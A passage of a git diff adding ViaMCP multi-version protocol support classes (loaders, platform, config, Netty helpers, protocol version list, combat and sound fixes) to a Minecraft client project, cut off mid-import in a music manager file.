out.add(transformedBuf.retain()); + } finally { + transformedBuf.release(); + } + } + + private boolean handleCompressionOrder(final ChannelHandlerContext ctx, final ByteBuf buf) throws InvocationTargetException { + if (handledCompression) { + return false; + } + + final int encoderIndex = ctx.pipeline().names().indexOf("compress"); + + if (encoderIndex == -1) { + return false; + } + handledCompression = true; + + if (encoderIndex > ctx.pipeline().names().indexOf("via-encoder")) { + // Need to decompress this packet due to bad order + CommonTransformer.decompress(ctx, buf); + final ChannelHandler encoder = ctx.pipeline().get("via-encoder"); + final ChannelHandler decoder = ctx.pipeline().get("via-decoder"); + ctx.pipeline().remove(encoder); + ctx.pipeline().remove(decoder); + ctx.pipeline().addAfter("compress", "via-encoder", encoder); + ctx.pipeline().addAfter("decompress", "via-decoder", decoder); + return true; + } + + return false; + } + + @Override + public void exceptionCaught(final ChannelHandlerContext ctx, final Throwable cause) throws Exception { + if (PipelineUtil.containsCause(cause, CancelCodecException.class)) { + return; + } + + super.exceptionCaught(ctx, cause); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/loader/MCPBackwardsLoader.java b/src/main/java/cc/paimonmc/viamcp/loader/MCPBackwardsLoader.java new file mode 100644 index 0000000..bdad943 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/loader/MCPBackwardsLoader.java @@ -0,0 +1,34 @@ +package cc.paimonmc.viamcp.loader; + +import cc.paimonmc.viamcp.ViaMCP; +import com.viaversion.viabackwards.api.ViaBackwardsPlatform; + +import java.io.File; +import java.util.logging.Logger; + +public class MCPBackwardsLoader implements ViaBackwardsPlatform { + private final File file; + + public MCPBackwardsLoader(final File file) { + this.init(this.file = new File(file, "ViaBackwards")); + } + + @Override + public Logger getLogger() { + return ViaMCP.getInstance().getjLogger(); + } + + @Override + public void disable() { + } + + @Override + public boolean isOutdated() { + return false; + } + + @Override + public File getDataFolder() { + return new File(this.file, "config.yml"); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/loader/MCPRewindLoader.java b/src/main/java/cc/paimonmc/viamcp/loader/MCPRewindLoader.java new file mode 100644 index 0000000..2a13a90 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/loader/MCPRewindLoader.java @@ -0,0 +1,21 @@ +package cc.paimonmc.viamcp.loader; + +import com.viaversion.viaversion.api.Via; +import de.gerrygames.viarewind.api.ViaRewindConfigImpl; +import de.gerrygames.viarewind.api.ViaRewindPlatform; + +import java.io.File; +import java.util.logging.Logger; + +public class MCPRewindLoader implements ViaRewindPlatform { + public MCPRewindLoader(final File file) { + final ViaRewindConfigImpl conf = new ViaRewindConfigImpl(file.toPath().resolve("ViaRewind").resolve("config.yml").toFile()); + conf.reloadConfig(); + this.init(conf); + } + + @Override + public Logger getLogger() { + return Via.getPlatform().getLogger(); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/loader/MCPViaLoader.java b/src/main/java/cc/paimonmc/viamcp/loader/MCPViaLoader.java new file mode 100644 index 0000000..cd933f0 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/loader/MCPViaLoader.java @@ -0,0 +1,31 @@ +package cc.paimonmc.viamcp.loader; + +import cc.paimonmc.viamcp.ViaMCP; +import com.viaversion.viaversion.api.Via; +import com.viaversion.viaversion.api.connection.UserConnection; +import com.viaversion.viaversion.api.platform.ViaPlatformLoader; +import com.viaversion.viaversion.api.protocol.version.VersionProvider; +import com.viaversion.viaversion.bungee.providers.BungeeMovementTransmitter; +import com.viaversion.viaversion.protocols.base.BaseVersionProvider; +import com.viaversion.viaversion.protocols.protocol1_9to1_8.providers.MovementTransmitterProvider; + +public class MCPViaLoader implements ViaPlatformLoader { + @Override + public void load() { + Via.getManager().getProviders().use(MovementTransmitterProvider.class, new BungeeMovementTransmitter()); + Via.getManager().getProviders().use(VersionProvider.class, new BaseVersionProvider() { + @Override + public int getClosestServerProtocol(final UserConnection connection) throws Exception { + if (connection.isClientSide()) { + return ViaMCP.getInstance().getVersion(); + } + + return super.getClosestServerProtocol(connection); + } + }); + } + + @Override + public void unload() { + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/platform/MCPViaAPI.java b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaAPI.java new file mode 100644 index 0000000..c1fedad --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaAPI.java @@ -0,0 +1,8 @@ +package cc.paimonmc.viamcp.platform; + +import com.viaversion.viaversion.ViaAPIBase; + +import java.util.UUID; + +public class MCPViaAPI extends ViaAPIBase<UUID> { +} diff --git a/src/main/java/cc/paimonmc/viamcp/platform/MCPViaConfig.java b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaConfig.java new file mode 100644 index 0000000..738e80d --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaConfig.java @@ -0,0 +1,63 @@ +package cc.paimonmc.viamcp.platform; + +import com.viaversion.viaversion.configuration.AbstractViaConfig; + +import java.io.File; +import java.net.URL; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +public class MCPViaConfig extends AbstractViaConfig { + private static final List<String> UNSUPPORTED = Arrays.asList("anti-xray-patch", "bungee-ping-interval", "bungee-ping-save", "bungee-servers", "quick-move-action-fix", "nms-player-ticking", "velocity-ping-interval", "velocity-ping-save", "velocity-servers", "blockconnection-method", "change-1_9-hitbox", "change-1_14-hitbox"); + + public MCPViaConfig(final File configFile) { + super(configFile); + reloadConfig(); + } + + @Override + public URL getDefaultConfigURL() { + return getClass().getClassLoader().getResource("assets/viaversion/config.yml"); + } + + @Override + protected void handleConfig(final Map<String, Object> config) { + // Is not needed! + } + + @Override + public List<String> getUnsupportedOptions() { + return UNSUPPORTED; + } + + @Override + public boolean isAntiXRay() { + return false; + } + + @Override + public boolean isNMSPlayerTicking() { + return false; + } + + @Override + public boolean is1_12QuickMoveActionFix() { + return false; + } + + @Override + public String getBlockConnectionMethod() { + return "packet"; + } + + @Override + public boolean is1_9HitboxFix() { + return false; + } + + @Override + public boolean is1_14HitboxFix() { + return false; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/platform/MCPViaInjector.java b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaInjector.java new file mode 100644 index 0000000..edbf704 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaInjector.java @@ -0,0 +1,39 @@ +package cc.paimonmc.viamcp.platform; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.handler.CommonTransformer; +import com.viaversion.viaversion.api.platform.ViaInjector; +import com.viaversion.viaversion.libs.gson.JsonObject; + +public class MCPViaInjector implements ViaInjector { + @Override + public void inject() { + // In a nutshell, this is not forge + } + + @Override + public void uninject() { + // Update! Still not forge! + } + + @Override + public int getServerProtocolVersion() { + return ViaMCP.PROTOCOL_VERSION; + } + + @Override + public String getEncoderName() { + return CommonTransformer.HANDLER_ENCODER_NAME; + } + + @Override + public String getDecoderName() { + return CommonTransformer.HANDLER_DECODER_NAME; + } + + @Override + public JsonObject getDump() { + final JsonObject obj = new JsonObject(); + return obj; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/platform/MCPViaPlatform.java b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaPlatform.java new file mode 100644 index 0000000..3011991 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/platform/MCPViaPlatform.java @@ -0,0 +1,165 @@ +package cc.paimonmc.viamcp.platform; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.utils.FutureTaskId; +import cc.paimonmc.viamcp.utils.JLoggerToLog4j; +import com.viaversion.viaversion.api.ViaAPI; +import com.viaversion.viaversion.api.command.ViaCommandSender; +import com.viaversion.viaversion.api.configuration.ConfigurationProvider; +import com.viaversion.viaversion.api.configuration.ViaVersionConfig; +import com.viaversion.viaversion.api.platform.PlatformTask; +import com.viaversion.viaversion.api.platform.ViaPlatform; +import com.viaversion.viaversion.libs.gson.JsonObject; +import com.viaversion.viaversion.libs.kyori.adventure.text.serializer.gson.GsonComponentSerializer; +import com.viaversion.viaversion.libs.kyori.adventure.text.serializer.legacy.LegacyComponentSerializer; +import io.netty.util.concurrent.Future; +import io.netty.util.concurrent.GenericFutureListener; +import org.apache.logging.log4j.LogManager; + +import java.io.File; +import java.nio.file.Path; +import java.util.UUID; +import java.util.concurrent.CancellationException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +public class MCPViaPlatform implements ViaPlatform<UUID> { + private final Logger logger = new JLoggerToLog4j(LogManager.getLogger("ViaVersion")); + + private final MCPViaConfig config; + private final File dataFolder; + private final ViaAPI<UUID> api; + + public MCPViaPlatform(final File dataFolder) { + final Path configDir = dataFolder.toPath().resolve("ViaVersion"); + config = new MCPViaConfig(configDir.resolve("viaversion.yml").toFile()); + this.dataFolder = configDir.toFile(); + api = new MCPViaAPI(); + } + + public static String legacyToJson(final String legacy) { + return GsonComponentSerializer.gson().serialize(LegacyComponentSerializer.legacySection().deserialize(legacy)); + } + + @Override + public Logger getLogger() { + return logger; + } + + @Override + public String getPlatformName() { + return "ViaMCP"; + } + + @Override + public String getPlatformVersion() { + return String.valueOf(ViaMCP.PROTOCOL_VERSION); + } + + @Override + public String getPluginVersion() { + return "4.1.1"; + } + + @Override + public FutureTaskId runAsync(final Runnable runnable) { + return new FutureTaskId(CompletableFuture.runAsync(runnable, ViaMCP.getInstance().getAsyncExecutor()).exceptionally(throwable -> + { + if (!(throwable instanceof CancellationException)) { + throwable.printStackTrace(); + } + + return null; + }) + ); + } + + @Override + public FutureTaskId runSync(final Runnable runnable) { + return new FutureTaskId(ViaMCP.getInstance().getEventLoop().submit(runnable).addListener(errorLogger())); + } + + @Override + public PlatformTask runSync(final Runnable runnable, final long ticks) { + return new FutureTaskId(ViaMCP.getInstance().getEventLoop().schedule(() -> runSync(runnable), ticks * 50, TimeUnit.MILLISECONDS).addListener(errorLogger())); + } + + @Override + public PlatformTask runRepeatingSync(final Runnable runnable, final long ticks) { + return new FutureTaskId(ViaMCP.getInstance().getEventLoop().scheduleAtFixedRate(() -> runSync(runnable), 0, ticks * 50, TimeUnit.MILLISECONDS).addListener(errorLogger())); + } + + private <T extends Future<?>> GenericFutureListener<T> errorLogger() { + return future -> + { + if (!future.isCancelled() && future.cause() != null) { + future.cause().printStackTrace(); + } + }; + } + + @Override + public ViaCommandSender[] getOnlinePlayers() { + return new ViaCommandSender[1337]; // What the fuck + } + + private ViaCommandSender[] getServerPlayers() { + return new ViaCommandSender[1337]; // What the fuck 2: Electric Boogaloo + } + + @Override + public void sendMessage(final UUID uuid, final String s) { + // Don't even know why this needs to be overridden + } + + @Override + public boolean kickPlayer(final UUID uuid, final String s) { + return false; + } + + @Override + public boolean isPluginEnabled() { + return true; + } + + @Override + public ViaAPI<UUID> getApi() { + return api; + } + + @Override + public ViaVersionConfig getConf() { + return config; + } + + @Override + public ConfigurationProvider getConfigurationProvider() { + return config; + } + + @Override + public File getDataFolder() { + return dataFolder; + } + + @Override + public void onReload() { + logger.info("ViaVersion was reloaded? (How did that happen)"); + } + + @Override + public JsonObject getDump() { + return new JsonObject(); + } + + @Override + public boolean isOldClientsAllowed() { + return true; + } + + @Override + public boolean hasPlugin(final String s) { + return false; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolCollection.java b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolCollection.java new file mode 100644 index 0000000..e276cd9 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolCollection.java @@ -0,0 +1,113 @@ +package cc.paimonmc.viamcp.protocols; + + +import com.viaversion.viaversion.api.protocol.version.ProtocolVersion; + +public enum ProtocolCollection { + /* 1.19.x */ + R_1_19_1(ProtocolVersion.v1_19_1, ProtocolInfoCollection.R1_19_1), + R_1_19(ProtocolVersion.v1_19, ProtocolInfoCollection.R1_19), + + /* 1.18.x */ + R1_18_2(ProtocolVersion.v1_18_2, ProtocolInfoCollection.R1_18_2), + R1_18(ProtocolVersion.v1_18, ProtocolInfoCollection.R1_18), + + /* 1.17.x */ + R1_17_1(ProtocolVersion.v1_17_1, ProtocolInfoCollection.R1_17_1), + R1_17(ProtocolVersion.v1_17, ProtocolInfoCollection.R1_17), + + /* 1.16.x */ + R1_16_4(ProtocolVersion.v1_16_4, ProtocolInfoCollection.R1_16_4), + R1_16_3(ProtocolVersion.v1_16_3, ProtocolInfoCollection.R1_16_3), + R1_16_2(ProtocolVersion.v1_16_2, ProtocolInfoCollection.R1_16_2), + R1_16_1(ProtocolVersion.v1_16_1, ProtocolInfoCollection.R1_16_1), + R1_16(ProtocolVersion.v1_16, ProtocolInfoCollection.R1_16), + + /* 1.15.x */ + R1_15_2(ProtocolVersion.v1_15_2, ProtocolInfoCollection.R1_15_2), + R1_15_1(ProtocolVersion.v1_15_1, ProtocolInfoCollection.R1_15_1), + R1_15(ProtocolVersion.v1_15, ProtocolInfoCollection.R1_15), + + /* 1.14.x */ + R1_14_4(ProtocolVersion.v1_14_4, ProtocolInfoCollection.R1_14_4), + R1_14_3(ProtocolVersion.v1_14_3, ProtocolInfoCollection.R1_14_3), + R1_14_2(ProtocolVersion.v1_14_2, ProtocolInfoCollection.R1_14_2), + R1_14_1(ProtocolVersion.v1_14_1, ProtocolInfoCollection.R1_14_1), + R1_14(ProtocolVersion.v1_14, ProtocolInfoCollection.R1_14), + + /* 1.13.x */ + R1_13_2(ProtocolVersion.v1_13_2, ProtocolInfoCollection.R1_13_2), + R1_13_1(ProtocolVersion.v1_13_1, ProtocolInfoCollection.R1_13_1), + R1_13(ProtocolVersion.v1_13, ProtocolInfoCollection.R1_13), + + /* 1.12.x */ + R1_12_2(ProtocolVersion.v1_12_2, ProtocolInfoCollection.R1_12_2), + R1_12_1(ProtocolVersion.v1_12_1, ProtocolInfoCollection.R1_12_1), + R1_12(ProtocolVersion.v1_12, ProtocolInfoCollection.R1_12), + + /* 1.11.x */ + R1_11_1(ProtocolVersion.v1_11_1, ProtocolInfoCollection.R1_11_1), + R1_11(ProtocolVersion.v1_11, ProtocolInfoCollection.R1_11), + + /* 1.10.x */ + R1_10(ProtocolVersion.v1_10, ProtocolInfoCollection.R1_10), + + /* 1.9.x */ + R1_9_3(ProtocolVersion.v1_9_3, ProtocolInfoCollection.R1_9_3), + R1_9_2(ProtocolVersion.v1_9_2, ProtocolInfoCollection.R1_9_2), + R1_9_1(ProtocolVersion.v1_9_1, ProtocolInfoCollection.R1_9_1), + R1_9(ProtocolVersion.v1_9, ProtocolInfoCollection.R1_9), + + /* 1.8.x */ + R1_8(ProtocolVersion.v1_8, ProtocolInfoCollection.R1_8), + + /* 1.7.x */ + R1_7_6(ProtocolVersion.v1_7_6, ProtocolInfoCollection.R1_7_6), + R1_7(ProtocolVersion.v1_7_1, ProtocolInfoCollection.R1_7); + + private final ProtocolVersion version; + private final ProtocolInfo info; + + ProtocolCollection(final ProtocolVersion version, final ProtocolInfo info) { + this.version = version; + this.info = info; + } + + public ProtocolVersion getVersion() { + return version; + } + + public ProtocolInfo getInfo() { + return info; + } + + public static ProtocolCollection getProtocolCollectionById(final int id) { + for (final ProtocolCollection coll : values()) { + if (coll.getVersion().getVersion() == id) { + return coll; + } + } + + return null; + } + + public static ProtocolVersion getProtocolById(final int id) { + for (final ProtocolCollection coll : values()) { + if (coll.getVersion().getVersion() == id) { + return coll.getVersion(); + } + } + + return null; + } + + public static ProtocolInfo getProtocolInfoById(final int id) { + for (final ProtocolCollection coll : values()) { + if (coll.getVersion().getVersion() == id) { + return coll.getInfo(); + } + } + + return null; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfo.java b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfo.java new file mode 100644 index 0000000..c12a5a3 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfo.java @@ -0,0 +1,25 @@ +package cc.paimonmc.viamcp.protocols; + +public class ProtocolInfo { + private final String name; + private final String description; + private final String releaseDate; + + public ProtocolInfo(final String name, final String description, final String releaseDate) { + this.name = name; + this.description = description; + this.releaseDate = releaseDate; + } + + public String getName() { + return name; + } + + public String getDescription() { + return description; + } + + public String getReleaseDate() { + return releaseDate; + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfoCollection.java b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfoCollection.java new file mode 100644 index 0000000..480409c --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/protocols/ProtocolInfoCollection.java @@ -0,0 +1,145 @@ +package cc.paimonmc.viamcp.protocols; + +public class ProtocolInfoCollection { + private static final String NO_DESC = "No Description Available"; + + public static ProtocolInfo R1_19_1 = new ProtocolInfo( + "The Wild Update", NO_DESC, "July 27, 2022" + ); + + public static ProtocolInfo R1_19 = new ProtocolInfo( + "The Wild Update", NO_DESC, "June 7, 2022" + ); + + public static ProtocolInfo R1_18_2 = new ProtocolInfo( + "Caves & Cliffs: Part II", NO_DESC, "February 28, 2022" + ); + + public static ProtocolInfo R1_18 = new ProtocolInfo( + "Caves & Cliffs: Part II", NO_DESC, "November 30, 2021 - December 10, 2021" + ); + + public static ProtocolInfo R1_17_1 = new ProtocolInfo( + "Caves & Cliffs: Part I", NO_DESC, "July 6, 2021" + ); + + public static ProtocolInfo R1_17 = new ProtocolInfo( + "Caves & Cliffs: Part I", NO_DESC, "June 8, 2021" + ); + + public static ProtocolInfo R1_16_4 = new ProtocolInfo( + "Nether Update", NO_DESC, "November 2, 2020 - January 13, 2021" + ); + + public static ProtocolInfo R1_16_3 = new ProtocolInfo( + "Nether Update", NO_DESC, "September 7, 2020" + ); + + public static ProtocolInfo R1_16_2 = new ProtocolInfo( + "Nether Update", NO_DESC, "August 11, 2020" + ); + + public static ProtocolInfo R1_16_1 = new ProtocolInfo( + "Nether Update", NO_DESC, "June 24, 2020" + ); + + public static ProtocolInfo R1_16 = new ProtocolInfo( + "Nether Update", NO_DESC, "June 23, 2020" + ); + + public static ProtocolInfo R1_15_2 = new ProtocolInfo( + "Buzzy Bees", NO_DESC, "January 21, 2020" + ); + + public static ProtocolInfo R1_15_1 = new ProtocolInfo( + "Buzzy Bees", NO_DESC, "December 17, 2019" + ); + + public static ProtocolInfo R1_15 = new ProtocolInfo( + "Buzzy Bees", NO_DESC, "December 10, 2019" + ); + + public static ProtocolInfo R1_14_4 = new ProtocolInfo( + "Village & Pillage", NO_DESC, "July 19, 2019" + ); + + public static ProtocolInfo R1_14_3 = new ProtocolInfo( + "Village & Pillage", NO_DESC, "June 24, 2019" + ); + + public static ProtocolInfo R1_14_2 = new ProtocolInfo( + "Village & Pillage", NO_DESC, "May 27, 2019" + ); + + public static ProtocolInfo R1_14_1 = new ProtocolInfo( + "Village & Pillage", NO_DESC, "May 13, 2019" + ); + + public static ProtocolInfo R1_14 = new ProtocolInfo( + "Village & Pillage", NO_DESC, "April 23, 2019" + ); + + public static ProtocolInfo R1_13_2 = new ProtocolInfo( + "Update Aquatic", NO_DESC, "October 22, 2018" + ); + + public static ProtocolInfo R1_13_1 = new ProtocolInfo( + "Update Aquatic", NO_DESC, "August 22, 2018" + ); + + public static ProtocolInfo R1_13 = new ProtocolInfo( + "Update Aquatic", NO_DESC, "July 18, 2018" + ); + + public static ProtocolInfo R1_12_2 = new ProtocolInfo( + "World of Color Update", NO_DESC, "September 18, 2017" + ); + + public static ProtocolInfo R1_12_1 = new ProtocolInfo( + "World of Color Update", NO_DESC, "August 3, 2017" + ); + + public static ProtocolInfo R1_12 = new ProtocolInfo( + "World of Color Update", NO_DESC, "June 7, 2017" + ); + + public static ProtocolInfo R1_11_1 = new ProtocolInfo( + "Exploration Update", NO_DESC, "December 20, 2016 - December 21, 2016" + ); + + public static ProtocolInfo R1_11 = new ProtocolInfo( + "Exploration Update", NO_DESC, "November 14, 2016" + ); + + public static ProtocolInfo R1_10 = new ProtocolInfo( + "Frostburn Update", NO_DESC, "June 8, 2016 - June 23, 2016" + ); + + public static ProtocolInfo R1_9_3 = new ProtocolInfo( + "Combat Update", NO_DESC, "May 10, 2016" + ); + + public static ProtocolInfo R1_9_2 = new ProtocolInfo( + "Combat Update", NO_DESC, "March 30, 2016" + ); + + public static ProtocolInfo R1_9_1 = new ProtocolInfo( + "Combat Update", NO_DESC, "March 30, 2016" + ); + + public static ProtocolInfo R1_9 = new ProtocolInfo( + "Combat Update", NO_DESC, "February 29, 2016" + ); + + public static ProtocolInfo R1_8 = new ProtocolInfo( + "Bountiful Update", NO_DESC, "September 2, 2014 - December 9, 2015" + ); + + public static ProtocolInfo R1_7_6 = new ProtocolInfo( + "The Update that Changed the World", NO_DESC, "April 9, 2014 - June 26, 2014" + ); + + public static ProtocolInfo R1_7 = new ProtocolInfo( + "The Update that Changed the World", NO_DESC, "October 22, 2013 - February 26, 2014" + ); +} \ No newline at end of file diff --git a/src/main/java/cc/paimonmc/viamcp/utils/AttackOrder.java b/src/main/java/cc/paimonmc/viamcp/utils/AttackOrder.java new file mode 100644 index 0000000..37fed7c --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/utils/AttackOrder.java @@ -0,0 +1,42 @@ +package cc.paimonmc.viamcp.utils; + +import cc.paimonmc.viamcp.ViaMCP; +import cc.paimonmc.viamcp.protocols.ProtocolCollection; +import net.minecraft.client.Minecraft; +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.util.MovingObjectPosition; + +public class AttackOrder { + private static final Minecraft mc = Minecraft.getMinecraft(); + + public static final int VER_1_8_ID = 47; + + public static void sendConditionalSwing(final MovingObjectPosition mop) { + if (mop != null && mop.typeOfHit != MovingObjectPosition.MovingObjectType.ENTITY) { + mc.thePlayer.swingItem(); + } + } + + public static void sendFixedAttack(final EntityPlayer entityIn, final Entity target) { + // Using this instead of ViaMCP.PROTOCOL_VERSION so does not need to be changed between 1.8.x and 1.12.2 base + // getVersion() can be null, but not in this case, as ID 47 exists, if not removed + if (ViaMCP.getInstance().getVersion() <= ProtocolCollection.getProtocolById(VER_1_8_ID).getVersion()) { + send1_8Attack(entityIn, target); + } else { + send1_9Attack(entityIn, target); + } + } + + private static void send1_8Attack(EntityPlayer entityIn, Entity target) + { + mc.thePlayer.swingItem(); + mc.playerController.attackEntity(entityIn, target); + } + + private static void send1_9Attack(EntityPlayer entityIn, Entity target) + { + mc.playerController.attackEntity(entityIn, target); + mc.thePlayer.swingItem(); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/utils/FixedSoundEngine.java b/src/main/java/cc/paimonmc/viamcp/utils/FixedSoundEngine.java new file mode 100644 index 0000000..0aba178 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/utils/FixedSoundEngine.java @@ -0,0 +1,83 @@ +package cc.paimonmc.viamcp.utils; + +import cc.paimonmc.viamcp.ViaMCP; +import net.minecraft.block.Block; +import net.minecraft.block.material.Material; +import net.minecraft.block.state.IBlockState; +import net.minecraft.client.Minecraft; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.init.Blocks; +import net.minecraft.item.ItemBlock; +import net.minecraft.item.ItemStack; +import net.minecraft.util.BlockPos; +import net.minecraft.util.EnumFacing; +import net.minecraft.world.World; + +public class FixedSoundEngine { + private static final Minecraft mc = Minecraft.getMinecraft(); + + /** + * Fix for block breaking sounds on protocols above 1.8.x + */ + public static boolean destroyBlock(final World world, final BlockPos pos, final boolean dropBlock) { + final IBlockState iblockstate = world.getBlockState(pos); + final Block block = iblockstate.getBlock(); + + // Moving playAusSFX out of else-statement to play sound correctly (For some reason block.getMaterial() always returns Material.air on 1.9+ protocols) + // This should also function correctly on 1.8.x protocol, so no need for base version checks + world.playAuxSFX(2001, pos, Block.getStateId(iblockstate)); + + if (block.getMaterial() == Material.air) { + return false; + } else { + if (dropBlock) { + block.dropBlockAsItem(world, pos, iblockstate, 0); + } + + return world.setBlockState(pos, Blocks.air.getDefaultState(), 3); + } + } + + /** + * Fix for block placing sounds on protocols above 1.8.x + */ + public static boolean onItemUse(final ItemBlock iblock, final ItemStack stack, final EntityPlayer playerIn, final World worldIn, BlockPos pos, final EnumFacing side, final float hitX, final float hitY, final float hitZ) { + final IBlockState iblockstate = worldIn.getBlockState(pos); + final Block block = iblockstate.getBlock(); + + if (!block.isReplaceable(worldIn, pos)) { + pos = pos.offset(side); + } + + if (stack.stackSize == 0) { + return false; + } else if (!playerIn.canPlayerEdit(pos, side, stack)) { + return false; + } else if (worldIn.canBlockBePlaced(iblock.getBlock(), pos, false, side, null, stack)) { + final int i = iblock.getMetadata(stack.getMetadata()); + IBlockState iblockstate1 = iblock.getBlock().onBlockPlaced(worldIn, pos, side, hitX, hitY, hitZ, i, playerIn); + + if (worldIn.setBlockState(pos, iblockstate1, 3)) { + iblockstate1 = worldIn.getBlockState(pos); + + if (iblockstate1.getBlock() == iblock.getBlock()) { + ItemBlock.setTileEntityNBT(worldIn, playerIn, pos, stack); + iblock.getBlock().onBlockPlacedBy(worldIn, pos, iblockstate1, playerIn, stack); + } + + if (ViaMCP.getInstance().getVersion() != ViaMCP.PROTOCOL_VERSION) { + // Using playSoundAtPos instead of playSoundEffect (I have no understanding as to why playSoundEffect is not functioning properly on 1.9+ protocols) + mc.theWorld.playSoundAtPos(pos.add(0.5, 0.5, 0.5), iblock.getBlock().stepSound.getPlaceSound(), (iblock.getBlock().stepSound.getVolume() + 1.0F) / 2.0F, iblock.getBlock().stepSound.getFrequency() * 0.8F, false); + } else { + worldIn.playSoundEffect((float) pos.getX() + 0.5F, (float) pos.getY() + 0.5F, (float) pos.getZ() + 0.5F, iblock.getBlock().stepSound.getPlaceSound(), (iblock.getBlock().stepSound.getVolume() + 1.0F) / 2.0F, iblock.getBlock().stepSound.getFrequency() * 0.8F); + } + + --stack.stackSize; + } + + return true; + } else { + return false; + } + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/utils/FutureTaskId.java b/src/main/java/cc/paimonmc/viamcp/utils/FutureTaskId.java new file mode 100644 index 0000000..b9f7ea4 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/utils/FutureTaskId.java @@ -0,0 +1,24 @@ +package cc.paimonmc.viamcp.utils; + + +import com.viaversion.viaversion.api.platform.PlatformTask; + +import java.util.concurrent.Future; + +public class FutureTaskId implements PlatformTask<Future<?>> { + private final Future<?> object; + + public FutureTaskId(final Future<?> object) { + this.object = object; + } + + @Override + public Future<?> getObject() { + return object; + } + + @Override + public void cancel() { + object.cancel(false); + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/utils/JLoggerToLog4j.java b/src/main/java/cc/paimonmc/viamcp/utils/JLoggerToLog4j.java new file mode 100644 index 0000000..83f6c24 --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/utils/JLoggerToLog4j.java @@ -0,0 +1,65 @@ +package cc.paimonmc.viamcp.utils; + +import java.text.MessageFormat; +import java.util.logging.Level; +import java.util.logging.LogRecord; +import java.util.logging.Logger; + +public class JLoggerToLog4j extends Logger { + private final org.apache.logging.log4j.Logger base; + + public JLoggerToLog4j(final org.apache.logging.log4j.Logger logger) { + super("logger", null); + this.base = logger; + } + + public void log(final LogRecord record) { + this.log(record.getLevel(), record.getMessage()); + } + + public void log(final Level level, final String msg) { + if (level == Level.FINE) { + this.base.debug(msg); + } else if (level == Level.WARNING) { + this.base.warn(msg); + } else if (level == Level.SEVERE) { + this.base.error(msg); + } else if (level == Level.INFO) { + this.base.info(msg); + } else { + this.base.trace(msg); + } + } + + public void log(final Level level, final String msg, final Object param1) { + if (level == Level.FINE) { + this.base.debug(msg, param1); + } else if (level == Level.WARNING) { + this.base.warn(msg, param1); + } else if (level == Level.SEVERE) { + this.base.error(msg, param1); + } else if (level == Level.INFO) { + this.base.info(msg, param1); + } else { + this.base.trace(msg, param1); + } + } + + public void log(final Level level, final String msg, final Object[] params) { + log(level, MessageFormat.format(msg, params)); + } + + public void log(final Level level, final String msg, final Throwable params) { + if (level == Level.FINE) { + this.base.debug(msg, params); + } else if (level == Level.WARNING) { + this.base.warn(msg, params); + } else if (level == Level.SEVERE) { + this.base.error(msg, params); + } else if (level == Level.INFO) { + this.base.info(msg, params); + } else { + this.base.trace(msg, params); + } + } +} diff --git a/src/main/java/cc/paimonmc/viamcp/utils/NettyUtil.java b/src/main/java/cc/paimonmc/viamcp/utils/NettyUtil.java new file mode 100644 index 0000000..bce472e --- /dev/null +++ b/src/main/java/cc/paimonmc/viamcp/utils/NettyUtil.java @@ -0,0 +1,28 @@ +package cc.paimonmc.viamcp.utils; + +import cc.paimonmc.viamcp.handler.CommonTransformer; +import io.netty.channel.ChannelHandler; +import io.netty.channel.ChannelPipeline; + +public class NettyUtil { + public static ChannelPipeline decodeEncodePlacement(final ChannelPipeline instance, String base, final String newHandler, final ChannelHandler handler) { + switch (base) { + case "decoder": { + if (instance.get(CommonTransformer.HANDLER_DECODER_NAME) != null) { + base = CommonTransformer.HANDLER_DECODER_NAME; + } + + break; + } + case "encoder": { + if (instance.get(CommonTransformer.HANDLER_ENCODER_NAME) != null) { + base = CommonTransformer.HANDLER_ENCODER_NAME; + } + + break; + } + } + + return instance.addBefore(base, newHandler, handler); + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/MusicManager.java b/src/main/java/cn/hanabi/gui/cloudmusic/MusicManager.java new file mode 100644 index 0000000..d7cc33a --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/MusicManager.java @@ -0,0 +1,484 @@ +package cn.hanabi.gui.cloudmusic; + +import cn.hanabi.gui.cloudmusic.api.CloudMusicAPI; +import cn.hanabi.gui.cloudmusic.impl.Lyric; +import cn.hanabi.gui.cloudmusic.impl.Track; +import 